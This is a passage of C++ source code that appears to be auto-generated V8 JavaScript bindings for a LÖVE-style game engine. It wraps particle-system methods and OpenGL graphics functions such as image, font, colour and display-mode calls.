WrappedObject<pColor> *p = static_cast<WrappedObject<pColor>*>(wrap->Value());
obj = p->unwrap();
return obj;
}
void JSpParticleSystemSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSpParticleSystemCreateClass();
v8::Handle<v8::Value> JSpParticleSystemWrap(pParticleSystem cppObject);
pParticleSystem JSpParticleSystemUnwrap(v8::Handle<v8::Value> value);
/**
*----------------------------------------
* pParticleSystem
*----------------------------------------
*/
/**
* DestroyInstance
* Called when weak object is destroyed
*/
void JSpParticleSystemDestroyInstance(v8::Persistent<v8::Value> object, void* parameter) {
WrappedObject<pParticleSystem> *p = static_cast<WrappedObject<pParticleSystem>*>(parameter);
delete p;
object.Dispose();
}
/**
* CreateInstance
* Called when an object is created
*/
v8::Handle<v8::Value> JSpParticleSystemCreateInstance(const v8::Arguments& args) {
/*
// todo
pParticleSystem *obj = 0;
if (!obj)
obj = new pParticleSystem;
// call wrapper
*/
return v8::Undefined();
}
/**
* pParticleSystem::setBufferSize
*/
v8::Handle<v8::Value> JSpParticleSystemSetBufferSize(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int size = args[0]->Int32Value();
obj->setBufferSize(size);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSprite
*/
v8::Handle<v8::Value> JSpParticleSystemSetSprite(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
pImage sprite = JSpImageUnwrap(args[0]->ToObject());
obj->setSprite(sprite);
}
return v8::Undefined();
}
/**
* pParticleSystem::setEmissionRate
*/
v8::Handle<v8::Value> JSpParticleSystemSetEmissionRate(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int rate = args[0]->Int32Value();
obj->setEmissionRate(rate);
}
return v8::Undefined();
}
/**
* pParticleSystem::setLifetime
*/
v8::Handle<v8::Value> JSpParticleSystemSetLifetime(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int life = args[0]->Int32Value();
obj->setLifetime(life);
}
return v8::Undefined();
}
/**
* pParticleSystem::setParticleLife
*/
v8::Handle<v8::Value> JSpParticleSystemSetParticleLife(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int life = args[0]->Int32Value();
obj->setParticleLife(life);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
int min = args[0]->Int32Value();
int max = args[1]->Int32Value();
obj->setParticleLife(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setPosition
*/
v8::Handle<v8::Value> JSpParticleSystemSetPosition(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double x = args[0]->NumberValue();
double y = args[1]->NumberValue();
obj->setPosition(x,y);
}
return v8::Undefined();
}
/**
* pParticleSystem::setDirection
*/
v8::Handle<v8::Value> JSpParticleSystemSetDirection(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double direction = args[0]->NumberValue();
obj->setDirection(direction);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSpread
*/
v8::Handle<v8::Value> JSpParticleSystemSetSpread(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double spread = args[0]->NumberValue();
obj->setSpread(spread);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSpeed
*/
v8::Handle<v8::Value> JSpParticleSystemSetSpeed(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double speed = args[0]->NumberValue();
obj->setSpeed(speed);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double min = args[0]->NumberValue();
double max = args[1]->NumberValue();
obj->setSpeed(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setGravity
*/
v8::Handle<v8::Value> JSpParticleSystemSetGravity(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double gravity = args[0]->NumberValue();
obj->setGravity(gravity);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double min = args[0]->NumberValue();
double max = args[1]->NumberValue();
obj->setGravity(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setRadialAcceleration
*/
v8::Handle<v8::Value> JSpParticleSystemSetRadialAcceleration(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double acceleration = args[0]->NumberValue();
obj->setRadialAcceleration(acceleration);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double min = args[0]->NumberValue();
double max = args[1]->NumberValue();
obj->setRadialAcceleration(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setTangentialAcceleration
*/
v8::Handle<v8::Value> JSpParticleSystemSetTangentialAcceleration(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double acceleration = args[0]->NumberValue();
obj->setTangentialAcceleration(acceleration);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double min = args[0]->NumberValue();
double max = args[1]->NumberValue();
obj->setTangentialAcceleration(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSize
*/
v8::Handle<v8::Value> JSpParticleSystemSetSize(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double size = args[0]->NumberValue();
obj->setSize(size);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double start = args[0]->NumberValue();
double end = args[1]->NumberValue();
obj->setSize(start,end);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
double start = args[0]->NumberValue();
double end = args[1]->NumberValue();
double variation = args[2]->NumberValue();
obj->setSize(start,end,variation);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSizeVariation
*/
v8::Handle<v8::Value> JSpParticleSystemSetSizeVariation(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double variation = args[0]->NumberValue();
obj->setSizeVariation(variation);
}
return v8::Undefined();
}
/**
* pParticleSystem::setRotation
*/
v8::Handle<v8::Value> JSpParticleSystemSetRotation(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double rotation = args[0]->NumberValue();
obj->setRotation(rotation);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double min = args[0]->NumberValue();
double max = args[1]->NumberValue();
obj->setRotation(min,max);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSpin
*/
v8::Handle<v8::Value> JSpParticleSystemSetSpin(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double size = args[0]->NumberValue();
obj->setSpin(size);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double start = args[0]->NumberValue();
double end = args[1]->NumberValue();
obj->setSpin(start,end);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
double start = args[0]->NumberValue();
double end = args[1]->NumberValue();
double variation = args[2]->NumberValue();
obj->setSpin(start,end,variation);
}
return v8::Undefined();
}
/**
* pParticleSystem::setSpinVariation
*/
v8::Handle<v8::Value> JSpParticleSystemSetSpinVariation(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double variation = args[0]->NumberValue();
obj->setSpinVariation(variation);
}
return v8::Undefined();
}
/**
* pParticleSystem::setColor
*/
v8::Handle<v8::Value> JSpParticleSystemSetColor(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
pColor color = JSpColorUnwrap(args[0]->ToObject());
obj->setColor(color);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
pColor start = JSpColorUnwrap(args[0]->ToObject());
pColor end = JSpColorUnwrap(args[1]->ToObject());
obj->setColor(start,end);
}
return v8::Undefined();
}
/**
* pParticleSystem::getX
*/
v8::Handle<v8::Value> JSpParticleSystemGetX(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getX();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::getY
*/
v8::Handle<v8::Value> JSpParticleSystemGetY(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getY();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::getDirection
*/
v8::Handle<v8::Value> JSpParticleSystemGetDirection(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getDirection();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::getSpread
*/
v8::Handle<v8::Value> JSpParticleSystemGetSpread(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getSpread();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::count
*/
v8::Handle<v8::Value> JSpParticleSystemCount(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)obj->count();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::start
*/
v8::Handle<v8::Value> JSpParticleSystemStart(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->start();
}
return v8::Undefined();
}
/**
* pParticleSystem::stop
*/
v8::Handle<v8::Value> JSpParticleSystemStop(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->stop();
}
return v8::Undefined();
}
/**
* pParticleSystem::pause
*/
v8::Handle<v8::Value> JSpParticleSystemPause(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->pause();
}
return v8::Undefined();
}
/**
* pParticleSystem::reset
*/
v8::Handle<v8::Value> JSpParticleSystemReset(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->reset();
}
return v8::Undefined();
}
/**
* pParticleSystem::isActive
*/
v8::Handle<v8::Value> JSpParticleSystemIsActive(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
bool ret = (bool)obj->isActive();
return v8::Boolean::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::isEmpty
*/
v8::Handle<v8::Value> JSpParticleSystemIsEmpty(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
bool ret = (bool)obj->isEmpty();
return v8::Boolean::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::isFull
*/
v8::Handle<v8::Value> JSpParticleSystemIsFull(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
bool ret = (bool)obj->isFull();
return v8::Boolean::New(ret);
}
return v8::Undefined();
}
/**
* pParticleSystem::update
*/
v8::Handle<v8::Value> JSpParticleSystemUpdate(const v8::Arguments& args) {
pParticleSystem obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pParticleSystem>(JSpParticleSystemUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double dt = args[0]->NumberValue();
obj->update(dt);
}
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSpParticleSystemSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
js_obj->Set(v8::String::New("setBufferSize"), v8::FunctionTemplate::New(JSpParticleSystemSetBufferSize));
js_obj->Set(v8::String::New("setSprite"), v8::FunctionTemplate::New(JSpParticleSystemSetSprite));
js_obj->Set(v8::String::New("setEmissionRate"), v8::FunctionTemplate::New(JSpParticleSystemSetEmissionRate));
js_obj->Set(v8::String::New("setLifetime"), v8::FunctionTemplate::New(JSpParticleSystemSetLifetime));
js_obj->Set(v8::String::New("setParticleLife"), v8::FunctionTemplate::New(JSpParticleSystemSetParticleLife));
js_obj->Set(v8::String::New("setPosition"), v8::FunctionTemplate::New(JSpParticleSystemSetPosition));
js_obj->Set(v8::String::New("setDirection"), v8::FunctionTemplate::New(JSpParticleSystemSetDirection));
js_obj->Set(v8::String::New("setSpread"), v8::FunctionTemplate::New(JSpParticleSystemSetSpread));
js_obj->Set(v8::String::New("setSpeed"), v8::FunctionTemplate::New(JSpParticleSystemSetSpeed));
js_obj->Set(v8::String::New("setGravity"), v8::FunctionTemplate::New(JSpParticleSystemSetGravity));
js_obj->Set(v8::String::New("setRadialAcceleration"), v8::FunctionTemplate::New(JSpParticleSystemSetRadialAcceleration));
js_obj->Set(v8::String::New("setTangentialAcceleration"), v8::FunctionTemplate::New(JSpParticleSystemSetTangentialAcceleration));
js_obj->Set(v8::String::New("setSize"), v8::FunctionTemplate::New(JSpParticleSystemSetSize));
js_obj->Set(v8::String::New("setSizeVariation"), v8::FunctionTemplate::New(JSpParticleSystemSetSizeVariation));
js_obj->Set(v8::String::New("setRotation"), v8::FunctionTemplate::New(JSpParticleSystemSetRotation));
js_obj->Set(v8::String::New("setSpin"), v8::FunctionTemplate::New(JSpParticleSystemSetSpin));
js_obj->Set(v8::String::New("setSpinVariation"), v8::FunctionTemplate::New(JSpParticleSystemSetSpinVariation));
js_obj->Set(v8::String::New("setColor"), v8::FunctionTemplate::New(JSpParticleSystemSetColor));
js_obj->Set(v8::String::New("getX"), v8::FunctionTemplate::New(JSpParticleSystemGetX));
js_obj->Set(v8::String::New("getY"), v8::FunctionTemplate::New(JSpParticleSystemGetY));
js_obj->Set(v8::String::New("getDirection"), v8::FunctionTemplate::New(JSpParticleSystemGetDirection));
js_obj->Set(v8::String::New("getSpread"), v8::FunctionTemplate::New(JSpParticleSystemGetSpread));
js_obj->Set(v8::String::New("count"), v8::FunctionTemplate::New(JSpParticleSystemCount));
js_obj->Set(v8::String::New("start"), v8::FunctionTemplate::New(JSpParticleSystemStart));
js_obj->Set(v8::String::New("stop"), v8::FunctionTemplate::New(JSpParticleSystemStop));
js_obj->Set(v8::String::New("pause"), v8::FunctionTemplate::New(JSpParticleSystemPause));
js_obj->Set(v8::String::New("reset"), v8::FunctionTemplate::New(JSpParticleSystemReset));
js_obj->Set(v8::String::New("isActive"), v8::FunctionTemplate::New(JSpParticleSystemIsActive));
js_obj->Set(v8::String::New("isEmpty"), v8::FunctionTemplate::New(JSpParticleSystemIsEmpty));
js_obj->Set(v8::String::New("isFull"), v8::FunctionTemplate::New(JSpParticleSystemIsFull));
js_obj->Set(v8::String::New("update"), v8::FunctionTemplate::New(JSpParticleSystemUpdate));
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSpParticleSystemCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New(JSpParticleSystemCreateInstance);
js_func->SetClassName(v8::String::New("ParticleSystem"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
js_obj->SetInternalFieldCount(1);
JSpParticleSystemSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a cpp class into a JS object
*/
v8::Handle<v8::Value> JSpParticleSystemWrap(pParticleSystem cppObject) {
WrappedObject<pParticleSystem> *p = new WrappedObject<pParticleSystem>(cppObject);
v8::Handle<v8::ObjectTemplate> objT = v8::ObjectTemplate::New();
JSpParticleSystemSetupClass(objT);
objT->SetInternalFieldCount(1);
v8::Handle<v8::Object> obj = objT->NewInstance();
obj->SetInternalField(0, v8::External::New((void*)p));
// make weak
v8::Persistent<v8::Object> self = v8::Persistent<v8::Object>::New(obj);
self.MakeWeak((void*)p, &JSpParticleSystemDestroyInstance);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
pParticleSystem JSpParticleSystemUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
pParticleSystem obj;
v8::Local<v8::External> wrap = v8::Local<v8::External>::Cast(value->ToObject());
WrappedObject<pParticleSystem> *p = static_cast<WrappedObject<pParticleSystem>*>(wrap->Value());
obj = p->unwrap();
return obj;
}
void JSlove_openglSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSlove_openglCreateClass();
/**
* love_opengl::newImage
*/
v8::Handle<v8::Value> JSlove_openglNewImage(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
pImage ret = (pImage)love_opengl::newImage(filename);
return JSpImageWrap(ret);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
int mode = args[1]->Int32Value();
pImage ret = (pImage)love_opengl::newImage(filename,mode);
return JSpImageWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::newAnimation
*/
v8::Handle<v8::Value> JSlove_openglNewAnimation(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
pAnimation ret = (pAnimation)love_opengl::newAnimation(image);
return JSpAnimationWrap(ret);
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
int fw = args[1]->Int32Value();
int fh = args[2]->Int32Value();
int delay = args[3]->Int32Value();
int frames = args[4]->Int32Value();
pAnimation ret = (pAnimation)love_opengl::newAnimation(image,fw,fh,delay,frames);
return JSpAnimationWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::newColor
*/
v8::Handle<v8::Value> JSlove_openglNewColor(const v8::Arguments& args) {
if (args.Length() == 4) {
v8::HandleScope handle_scope;
int red = args[0]->Int32Value();
int green = args[1]->Int32Value();
int blue = args[2]->Int32Value();
int alpha = args[3]->Int32Value();
pColor ret = (pColor)love_opengl::newColor(red,green,blue,alpha);
return JSpColorWrap(ret);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
int red = args[0]->Int32Value();
int green = args[1]->Int32Value();
int blue = args[2]->Int32Value();
pColor ret = (pColor)love_opengl::newColor(red,green,blue);
return JSpColorWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::newFont
*/
v8::Handle<v8::Value> JSlove_openglNewFont(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
pFont ret = (pFont)love_opengl::newFont(filename);
return JSpFontWrap(ret);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
int size = args[1]->Int32Value();
pFont ret = (pFont)love_opengl::newFont(filename,size);
return JSpFontWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::newImageFont
*/
v8::Handle<v8::Value> JSlove_openglNewImageFont(const v8::Arguments& args) {
if (args.Length() == 2) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
v8::String::Utf8Value _args1(args[1]); char* glyphs = *_args1;
pFont ret = (pFont)love_opengl::newImageFont(filename,glyphs);
return JSpFontWrap(ret);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
v8::String::Utf8Value _args1(args[1]); char* glyphs = *_args1;
int spacing = args[2]->Int32Value();
pFont ret = (pFont)love_opengl::newImageFont(filename,glyphs,spacing);
return JSpFontWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::newParticleSystem
*/
v8::Handle<v8::Value> JSlove_openglNewParticleSystem(const v8::Arguments& args) {
if (args.Length() == 2) {
v8::HandleScope handle_scope;
pImage image = JSpImageUnwrap(args[0]->ToObject());
int buffer = args[1]->Int32Value();
pParticleSystem ret = (pParticleSystem)love_opengl::newParticleSystem(image,buffer);
return JSpParticleSystemWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::checkMode
*/
v8::Handle<v8::Value> JSlove_openglCheckMode(const v8::Arguments& args) {
if (args.Length() == 3) {
v8::HandleScope handle_scope;
int width = args[0]->Int32Value();
int height = args[1]->Int32Value();
bool fullscreen = args[2]->BooleanValue();
bool ret = (bool)love_opengl::checkMode(width,height,fullscreen);
return v8::Boolean::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::setMode
*/
v8::Handle<v8::Value> JSlove_openglSetMode(const v8::Arguments& args) {
if (args.Length() == 5) {
v8::HandleScope handle_scope;
int width = args[0]->Int32Value();
int height = args[1]->Int32Value();
bool fullscreen = args[2]->BooleanValue();
bool vsync = args[3]->BooleanValue();
bool fsaa = args[4]->BooleanValue();
love_opengl::setMode(width,height,fullscreen,vsync,fsaa);
}
return v8::Undefined();
}
/**
* love_opengl::toggleFullscreen
*/
v8::Handle<v8::Value> JSlove_openglToggleFullscreen(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
love_opengl::toggleFullscreen();
}
return v8::Undefined();
}
/**
* love_opengl::isCreated
*/
v8::Handle<v8::Value> JSlove_openglIsCreated(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
bool ret = (bool)love_opengl::isCreated();
return v8::Boolean::New(ret);
}
return v8::Undefined();
}
/**
* love_opengl::getModes
*/
v8::Handle<v8::Value> JSlove_openglGetModes(const v8::Arguments& args) {
if (args.Length() == 0) {
v8::HandleScope handle_scope;
DisplayModeList ret = (DisplayModeList)love_opengl::getModes();
return JSDisplayModeListWrap(ret);
}
return v8::Undefined();
}
/**
* love_opengl::setCaption
*/
v8::Handle<v8::Value> JSlove_openglSetCaption(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* caption = *_args0;
love_opengl::setCaption(caption);
}
return v8::Undefined();
}
/**
* love_opengl::setColor
*/
v8::Handle<v8::Value> JSlove_openglSetColor(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
pColor color = JSpColorUnwrap(args[0]->ToObject());
love_opengl::setColor(color);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
int red = args[0]->Int32Value();
int green = args[1]->Int32Value();
int blue = args[2]->Int32Value();
love_opengl::setColor(red,green,blue);
}
if (args.Length() == 4) {
v8::HandleScope handle_scope;
int red = args[0]->Int32Value();
int green = args[1]->Int32Value();
int blue = args[2]->Int32Value();
int alpha = args[3]->Int32Value();
love_opengl::setColor(red,green,blue,alpha);
}
return v8::Undefined();
}
/**
* love_opengl::setBackgroundColor
*/
v8::Handle<v8::Value> JSlove_openglSetBackgroundColor(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
pColor color = JSpColorUnwrap(args[0]->ToObject());
love_opengl::setBackgroundColor(color);
}
if (args.Length() == 3) {
v8::HandleScope handle_scope;
int red = args[0]->Int32Value();
int green = args[1]->Int32Value();
int blue = args[2]->Int32Value();
love_opengl::setBackgroundColor(red,green,blue);
}
return v8::Undefined();
}
/**
* love_opengl::setFont
*/
v8::Handle<v8::Value> JSlove_openglSetFont(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int font = args[0]->Int32Value();
love_opengl::setFont(font);
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* filename = *_args0;
double size = args[1]->NumberValue();
love_opengl::setFont(filename,size);
}
return v8::Undefined();
}
/**
* love_opengl::setLineWidth
*/
v8::Handle<v8::Value> JSlove_openglSetLineWidth(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double width = args[0]->NumberValue();
love_opengl::setLineWidth(width);
}
return v8::Undefined();
}
/**
* love_opengl::setLineStyle
*/
v8::Handle<v8::Value> JSlove_openglSetLineStyle(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double style = args[0]->NumberValue();
love_opengl::setLineStyle(style);
}
return v8::Undefined();
}
/**
* love_opengl::setLine
*/
v8::Handle<v8::Value> JSlove_openglSetLine(const v8::Arguments& args) {
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double width = args[0]->NumberValue();
love_opengl::setLine(width);
}
if (args.Length() == 2) {
